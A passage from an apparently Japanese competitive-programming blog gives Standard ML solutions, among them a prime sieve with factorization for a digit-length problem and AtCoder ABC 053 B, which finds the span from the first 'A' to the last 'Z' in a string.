      then ( Array.update(isPrime, j, false) ; fill(i, j+i) )
      else ()
  fun go(i) =
    if i = Array.length isPrime
      then ()
      else if not(Array.sub(isPrime, i))
        then go(i+1)
        else ( fill(i, 2*i) ; go(i+1) )
in
  Array.update(isPrime, 0, false) ;
  Array.update(isPrime, 1, false) ;
  go(2) ;
  isPrime
end

fun listPrimes(n) =
let
  val primes = sievePrimes(n)
  val primes = Array.foldli (fn (i, isPrime, acc) => if isPrime then i :: acc else acc) [] primes
  val primes = Vector.fromList(List.rev(primes))
in
  primes
end

fun factorize(n) =
let
  val primes = listPrimes( ceil(Math.sqrt(Real.fromLargeInt(n))) + 3 )
  val factors = ref []
  val n = ref n
in
  Vector.app (fn (p) =>
    let
      val p = Int.toLarge(p)
    in
      while !n mod p = 0 do (
        factors := p :: !factors ;
        n := !n div p
      )
    end
    ) primes ;
  if !n <> 1 then factors := !n :: !factors else () ;
  List.rev(!factors)
end

fun digitLength(n) =
let
  fun go(0, acc) = acc
    | go(n, acc) = go(n div 10, acc + 1)
in
  go(n : LargeInt.int, 0)
end

fun solve(n) =
let
  fun go([], a, b) = Int.max(digitLength(a), digitLength(b))
    | go(p :: qs, a, b) = Int.min(go(qs, p * a, b), go(qs, a, p * b))
  val factors = factorize(n)
in
    go(factors, 1, 1)
end

fun readInt() = TextIO.scanStream (LargeInt.scan StringCvt.DEC) TextIO.stdIn
val SOME n = readInt()
val () = print(Int.toString(solve(n)) ^ "\n")

AtCoder Beginner Contest 053: B - A to Z String

,

http://abc053.contest.atcoder.jp/tasks/abc053_b

stringの中身は配列っぽいので普通にloopを回したいけど、逆方向のいい感じのがないので畳み込んだ。

implementation

fun solve(s) =
  let
    val SOME (i, _) = CharVector.findi (fn (i, c) => c = #"A") s
    val SOME  j     = CharVector.foldri (fn (i, c, acc) => if acc = NONE andalso c = #"Z" then SOME i else acc) NONE s
  in
    j - i + 1
  end

val SOME s = TextIO.inputLine TextIO.stdIn
val () = print(Int.toString(solve(s)) ^ "\n")